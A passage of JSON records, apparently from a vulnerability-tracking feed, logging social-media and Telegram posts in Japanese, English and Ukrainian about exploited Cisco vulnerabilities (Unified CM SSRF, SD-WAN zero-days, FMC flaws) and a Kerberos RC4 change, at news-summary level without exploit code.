(CVE-2026-20971)\n\nhttps://lucidbitlabs.com/blog/when-defenses-become-attack-surface/", "creation_timestamp": "2026-07-20T00:00:26.161309Z"}, {"uuid": "a000fd6d-7082-4e9d-b8d1-80dd0ce738e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20146", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mqzymsvplg2e", "content": "Cisco ISE Authenticated Directory Traversal (CVE-2026-20146) Exposes System Files", "creation_timestamp": "2026-07-20T00:04:15.911208Z"}, {"uuid": "554e99e4-dad9-420a-954e-56c81c59023f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2i262u4s2z", "content": "Cisco Unified CM\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u308b\u3002PoC\u306b\u3088\u3063\u3066\u30eb\u30fc\u30c8\u3078\u306e\u30d5\u30a1\u30a4\u30eb\u66f8\u304d\u8fbc\u307f\u30d1\u30b9\u304c\u660e\u3089\u304b\u306b\u3055\u308c\u305f\u3002\n\n\u653b\u6483\u8005\u306f\u3001Cisco Unified Communications Manager\uff08Unified CM\uff09\u304a\u3088\u3073Unified Communications Manager Session Management Edition\uff08Unified CM SME\uff09\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u60aa\u7528\u3057\u59cb\u3081\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-20230 \uff08CVSS\u30b9\u30b3\u30a2\uff1a8.6\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u7279\u5b9a\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3059\u308b\u5165\u529b\u691c\u8a3c...", "creation_timestamp": "2026-07-20T04:40:13.138421Z"}, {"uuid": "7f91ccce-acd0-447c-97fd-a2664059af02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mr2jeearjd2j", "content": "Daily IT Security Digest \u2014 2026-07-20\nhttps://infosec.exchange/@AAKL/116924888327810918\n\n5. **Cisco Catalyst SD-WAN Manager \u2014 Zero-Day Exploited in the Wild**\n   CVE-2026-20262 is a critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager that allows attackers with write access to escalate", "creation_timestamp": "2026-07-20T05:03:44.911540Z"}, {"uuid": "417a1821-fd94-4c82-82bd-6e5ec5f1d88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2khh7dak2z", "content": "Cisco Unified CM\u306e\u8106\u5f31\u6027CVE-2026-20230\u304c\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3002\n\nCisco Unified Communications Manager\u306b\u306f\u3001 CVE-2026-20230\uff08CVSS\u30b9\u30b3\u30a28.6\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u3042\u308a\u3001\u653b\u6483\u8005\u306f\u65e2\u306b\u3053\u308c\u3092\u60aa\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u7279\u5b9a\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u691c\u8a3c\u304c\u4e0d\u9069\u5207\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3057\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u653b\u6483\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002Cisco\u306f6\u6708\u521d\u65ec\u3001\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u6982\u5ff5\u5b9f\u8a3c\uff08PoC\uff09\u30b3\u30fc\u30c9\u304c\u5b58\u5728\u3057\u3001\u60aa\u7528\u304c\u6210\u529f\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u304c\u30eb\u30fc\u30c8\u6a29\u9650...", "creation_timestamp": "2026-07-20T05:23:25.017106Z"}, {"uuid": "e5318fa2-ab5e-4f5b-81eb-b4e1a111f817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://bsky.app/profile/topkeyshop.bsky.social/post/3mr2tbgwm332j", "content": "After July 2026 Patch Tuesday, you will no longer be able to roll back Kerberos to RC4. That option is gone permanently. If your service accounts still rely on it, Top Key Shop wants you to know the clock on CVE-2026-20833 is running and it is not resetting.\n\nRC4 in Kerberos has been broken for y...", "creation_timestamp": "2026-07-20T08:01:05.053148Z"}, {"uuid": "33b9aa98-64a5-4fb9-8428-9e14056e487f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr2v7xw2xc2z", "content": "Cisco Catalyst SD-WAN\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027CVE-2026-20245\u304c\u60aa\u7528\u3055\u308c\u3001\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u6a29\u304c\u53d6\u5f97\u3055\u308c\u308b\n\nGoogle\u5098\u4e0b\u306eMandiant\u306b\u3088\u308b\u65b0\u305f\u306a\u8abf\u67fb\u7d50\u679c\u306b\u3088\u308b\u3068\u3001\u6b63\u4f53\u4e0d\u660e\u306e\u653b\u6483\u8005\u304c\u3001Cisco Catalyst SD-WAN\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u91cd\u5927\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u3001\u5c11\u306a\u304f\u3068\u3082\u516c\u8868\u3055\u308c\u308b2\u30f6\u6708\u524d\u306b\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3068\u3057\u3066\u60aa\u7528\u3057\u3066\u3044\u305f\u3053\u3068\u304c\u5224\u660e\u3057\u305f\u3002\n\nCVE-2026-20245 \uff08CVSS\u30b9\u30b3\u30a2\uff1a7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u8a8d\u8a3c\u6e08\u307f\u306e\u30ed\u30fc\u30ab\u30eb\u653b\u6483\u8005\u304c\u3001\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b7\u30b9\u30c6\u30e0\u306b\u63d0\u4f9b\u3059\u308b\u3053\u3068\u3067\u3001\u30c7\u30d0\u30a4\u30b9\u304c\u30e6\u30fc\u30b6\u30fc...", "creation_timestamp": "2026-07-20T08:36:07.881084Z"}, {"uuid": "0c33db34-7183-4a4b-9840-122b5f7b82c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/pphm_HackerNews/1635", "content": "\ud83d\udd34 Cisco SD-WAN Zero-Day Exploited Months Before Patching\n\nThe vulnerability, tracked as CVE-2026-20245, is the 7th Cisco SD-WAN product flaw whose exploitation came to light in 2026. \n\nCVE-2026-20245 affects the CLI of Cisco Catalyst SD-WAN Manager and allows an authenticated local attacker to execute arbitrary commands with root privileges using specially crafted files.\n\nThe security hole was disclosed by Cisco in early June, and patches were released roughly one week later. \n\nMandiant\u2019s investigation began in early 2026 after observing an unidentified threat actor targeting SD-WAN infrastructure at a service provider.", "creation_timestamp": "2026-08-23T00:00:41.833803Z"}, {"uuid": "3f853cc5-72a4-40a9-a7df-9914869a3a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr3dyrym4s2d", "content": "\u300cCisco Unified CM\u300d\u306a\u3069\u8106\u5f31\u60272\u4ef6\u306e\u60aa\u7528\u306b\u6ce8\u610f\u559a\u8d77 - \u7c73\u5f53\u5c40\n\n\u7c73\u5f53\u5c40\u306f\u3001Cisco\u306e\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u57fa\u76e4\u30bd\u30d5\u30c8\u3068PTC\u306e\u696d\u52d9\u30bd\u30d5\u30c8\u306b\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3066\u6ce8\u610f\u559a\u8d77\u3092\u884c\u3063\u305f\u3002\u65e9\u6025\u306a\u5bfe\u7b56\u3092\u6c42\u3081\u3066\u3044\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670825\u65e5\u3001\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u300cCVE-2026-20230\u300d\u300cCVE-2026-12569\u300d\u3092\u8ffd\u52a0\u3057\u305f\u3002\u7c73\u884c\u653f\u6a5f\u95a2\u306b\u5bfe\u3057\u3001\u540c\u670828\u65e5\u307e\u3067\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3088\u3046\u6c42\u3081\u305f\u3002\n\n\u300cCVE-2026-20230\u300d\u306f\u3001IP\u96fb\u8a71\u3084\u30d3\u30c7\u30aa\u901a\u8a71\u306a\u3069\u3092\u7ba1\u7406\u3059\u308b\u4f01\u696d...", "creation_timestamp": "2026-07-20T13:00:30.483342Z"}, {"uuid": "90e85752-048b-4db8-b6f7-f73dbdb87ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mr3eoe6sw22d", "content": "CISA\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bCisco Unified CM\u306e\u8106\u5f31\u6027\u3092KEV\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Cisco Unified Communications Manager\uff08Unified CM\uff09\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u3001\u4f01\u696d\u901a\u4fe1\u74b0\u5883\u306b\u304a\u3051\u308b\u60aa\u7528\u30ea\u30b9\u30af\u3092\u6d6e\u304d\u5f6b\u308a\u306b\u3057\u307e\u3057\u305f\u3002\n\n\u65b0\u305f\u306b\u767b\u9332\u3055\u308c\u305f\u8106\u5f31\u6027\uff08CVE-2026-20230\uff09\u306f\u3001Cisco Unified CM\u304a\u3088\u3073Unified CM Session Management Edition\uff08SME\uff09\u306b\u304a\u3051\u308b\u30b5\u30fc\u30d0\u30fc...", "creation_timestamp": "2026-07-20T13:12:35.932708Z"}, {"uuid": "e12161ad-f58e-4b32-97e9-4c7da745a8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/QkQGfXHJmhlUJ4Ok72ZW64yVSosDBVIcN9uDsRFq_Gn2BWo", "content": "", "creation_timestamp": "2026-07-20T18:00:12.950855Z"}, {"uuid": "15fb8aff-9a8d-4541-ae8f-145253ccb10e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/hIPenhe-vO-uZm0FZ9_PgTXttBSRhFyvx9XOlO5pcs6kI4c", "content": "", "creation_timestamp": "2026-07-20T18:00:13.217905Z"}, {"uuid": "bff3e464-151f-4786-9942-0d5b59c9ff2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-20T18:00:13.338691Z"}, {"uuid": "b7875cf8-dcda-468c-9ef5-61802d7ae491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "Telegram/GI7OHSoaP1xIHuGqTAwHNKDcr8KU1Ad2nEwl-UcBa-gQJw", "content": "", "creation_timestamp": "2026-07-20T19:00:11.862763Z"}, {"uuid": "d6dc7964-cc6f-4794-a504-bcb5fcd46918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/10454", "content": "Cisco SD-WAN Zero-Day CVE-2026-20127 Exploited Since 2023 for Admin Access \u2013 thehackernews.com\n\nThu, 26 Feb 2026 14:13:00", "creation_timestamp": "2026-07-20T19:00:04.714261Z"}, {"uuid": "61ac61a0-8a5c-4ba0-bbdf-dafc4c80acdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/proxy_bar/3185", "content": "CVE-2026-20127\n*\nCisco-SD-WAN-Preauth-RCE\n\nwar", "creation_timestamp": "2026-07-20T19:00:08.054277Z"}, {"uuid": "df8d5c72-a9cf-49be-bccf-10ce64bb56fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/RMRFgroup/357", "content": "Cisco \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0443 \u0441\u0435\u0431\u0435 50 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, 2 \u0437 \u043d\u0438\u0445 \u043c\u0430\u044e\u0442\u044c \u0440\u0435\u0439\u0442\u0438\u043d\u0433 10 CVSS\n\n\u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0432:\n- Adaptive Security Appliance (ASA) \u2014 \u043a\u043b\u0430\u0441\u0438\u0447\u043d\u0438\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440 \u0456\u0437 \u0432\u0456\u0434\u0441\u0442\u0435\u0436\u0435\u043d\u043d\u044f\u043c \u0441\u0442\u0430\u043d\u0443;\n- Secure FTD (Firewall Threat Defense) \u2014 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440, \u0449\u043e \u043f\u043e\u0454\u0434\u043d\u0443\u0454 ASA \u0437 \u0456\u043d\u0448\u0438\u043c\u0438, \u0431\u0456\u043b\u044c\u0448 \u043f\u0440\u043e\u0441\u0443\u043d\u0443\u0442\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0456\u044f\u043c\u0438;\n- Secure Firewall Management Center (FMC) \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u043e\u043c \u0442\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0432\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0430;\n\n\u0417\u0440\u043e\u0437\u0443\u043c\u0456\u043b\u043e, \u0449\u043e \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0432\u0436\u0435 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456, \u0430 \u0457\u0445 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043d\u0435 \u043c\u0430\u0454 \u043d\u0430\u0434\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u0434\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u2014 Cisco \u0440\u0430\u0437 \u043d\u0430 \u043f\u0456\u0432 \u0440\u043e\u043a\u0443 \u0432\u0438\u044f\u0432\u043b\u044f\u0454 \u0446\u0456\u043b\u0443 \u043a\u0443\u043f\u0443 \u043d\u043e\u0432\u0438\u0445 \u0434\u0438\u0440\u043e\u043a \u0443 \u0446\u0438\u0445 \u0442\u0440\u044c\u043e\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0430\u0445, \u0442\u0430 \u0456 \u043b\u0438\u0448\u0435 \u0434\u0435\u044f\u043a\u0456 \u0437 \u043d\u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043b\u0438\u0432\u0456, \u0430 \u0449\u0435 \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f FMC:\n- CVE-2026-20079 \u0456 CVE-2026-20131 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043d\u0430\u0439\u0432\u0438\u0449\u0438\u0439 \u043c\u043e\u0436\u043b\u0438\u0432\u0438\u0439 \u0431\u0430\u043b \u0441\u0435\u0440\u0439\u043e\u0437\u043d\u043e\u0441\u0442\u0456 10 \u0437 10 \u0437\u0430 \u0448\u043a\u0430\u043b\u043e\u044e CVSS;\n- CVE-2026-20079 \u0441\u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u043e\u043c, \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u043c \u043f\u0456\u0434 \u0447\u0430\u0441 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f. \u0417\u0430 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u043e\u044e \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u043f\u0456\u0434\u0456\u0431\u0440\u0430\u043d\u0438\u0445 HTTP-\u0437\u0430\u043f\u0438\u0442\u0456\u0432, \u043c\u043e\u0436\u043d\u0430 \u043e\u0431\u0456\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044e, \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0438 \u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438, \u044f\u043a\u0456 \u043d\u0430\u0434\u0430\u044e\u0442\u044c \u0457\u043c root-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0457 \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 FMC;\n- CVE-2026-20131 \u043c\u0430\u0454 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u0437\u0430\u0445\u0438\u0449\u0435\u043d\u043e\u0457 \u0434\u0435\u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u0430\u0446\u0456\u0457. \u042f\u043a\u0449\u043e \u043d\u0430\u0434\u0456\u0441\u043b\u0430\u0442\u0438 \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0439 \u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0438\u0439 Java-\u043e\u0431'\u0454\u043a\u0442 \u0434\u043e \u0432\u0435\u0431-\u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f FMC, \u0432\u0456\u043d \u043c\u043e\u0436\u0435 \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043a\u043e\u0434 \u0456 \u043f\u043e\u0442\u0435\u043d\u0446\u0456\u0439\u043d\u043e \u043f\u0456\u0434\u0432\u0438\u0449\u0438\u0442\u0438 \u0441\u0432\u043e\u0457 \u043f\u0440\u0438\u0432\u0456\u043b\u0435\u0457 \u0434\u043e \u0440\u0456\u0432\u043d\u044f root.", "creation_timestamp": "2026-07-20T19:00:04.832992Z"}, {"uuid": "23fc62df-7a39-47ef-a7c4-bbd998c8b1d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/RMRFgroup/357", "content": "Cisco \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0443 \u0441\u0435\u0431\u0435 50 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, 2 \u0437 \u043d\u0438\u0445 \u043c\u0430\u044e\u0442\u044c \u0440\u0435\u0439\u0442\u0438\u043d\u0433 10 CVSS\n\n\u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043d\u0430\u0439\u0448\u043b\u0438 \u0432:\n- Adaptive Security Appliance (ASA) \u2014 \u043a\u043b\u0430\u0441\u0438\u0447\u043d\u0438\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440 \u0456\u0437 \u0432\u0456\u0434\u0441\u0442\u0435\u0436\u0435\u043d\u043d\u044f\u043c \u0441\u0442\u0430\u043d\u0443;\n- Secure FTD (Firewall Threat Defense) \u2014 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440, \u0449\u043e \u043f\u043e\u0454\u0434\u043d\u0443\u0454 ASA \u0437 \u0456\u043d\u0448\u0438\u043c\u0438, \u0431\u0456\u043b\u044c\u0448 \u043f\u0440\u043e\u0441\u0443\u043d\u0443\u0442\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0456\u044f\u043c\u0438;\n- Secure Firewall Management Center (FMC) \u2014 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0456\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u043e\u043c \u0442\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0432\u0456\u0434 \u0437\u0430\u0433\u0440\u043e\u0437 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0430;\n\n\u0417\u0440\u043e\u0437\u0443\u043c\u0456\u043b\u043e, \u0449\u043e \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0432\u0436\u0435 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0456, \u0430 \u0457\u0445 \u043a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043d\u0435 \u043c\u0430\u0454 \u043d\u0430\u0434\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u043e \u0434\u0438\u0432\u0443\u0432\u0430\u0442\u0438 \u2014 Cisco \u0440\u0430\u0437 \u043d\u0430 \u043f\u0456\u0432 \u0440\u043e\u043a\u0443 \u0432\u0438\u044f\u0432\u043b\u044f\u0454 \u0446\u0456\u043b\u0443 \u043a\u0443\u043f\u0443 \u043d\u043e\u0432\u0438\u0445 \u0434\u0438\u0440\u043e\u043a \u0443 \u0446\u0438\u0445 \u0442\u0440\u044c\u043e\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0430\u0445, \u0442\u0430 \u0456 \u043b\u0438\u0448\u0435 \u0434\u0435\u044f\u043a\u0456 \u0437 \u043d\u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043b\u0438\u0432\u0456, \u0430 \u0449\u0435 \u0432\u0441\u0456 \u0432\u043e\u043d\u0438 \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f FMC:\n- CVE-2026-20079 \u0456 CVE-2026-20131 \u043e\u0442\u0440\u0438\u043c\u0430\u043b\u0438 \u043d\u0430\u0439\u0432\u0438\u0449\u0438\u0439 \u043c\u043e\u0436\u043b\u0438\u0432\u0438\u0439 \u0431\u0430\u043b \u0441\u0435\u0440\u0439\u043e\u0437\u043d\u043e\u0441\u0442\u0456 10 \u0437 10 \u0437\u0430 \u0448\u043a\u0430\u043b\u043e\u044e CVSS;\n- CVE-2026-20079 \u0441\u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u043e\u043c, \u0441\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u043c \u043f\u0456\u0434 \u0447\u0430\u0441 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f. \u0417\u0430 \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u043e\u044e \u0441\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u043e \u043f\u0456\u0434\u0456\u0431\u0440\u0430\u043d\u0438\u0445 HTTP-\u0437\u0430\u043f\u0438\u0442\u0456\u0432, \u043c\u043e\u0436\u043d\u0430 \u043e\u0431\u0456\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u044e, \u0432\u0438\u043a\u043e\u043d\u0430\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0438 \u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438, \u044f\u043a\u0456 \u043d\u0430\u0434\u0430\u044e\u0442\u044c \u0457\u043c root-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0457 \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 FMC;\n- CVE-2026-20131 \u043c\u0430\u0454 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u0437\u0430\u0445\u0438\u0449\u0435\u043d\u043e\u0457 \u0434\u0435\u0441\u0435\u0440\u0456\u0430\u043b\u0456\u0437\u0430\u0446\u0456\u0457. 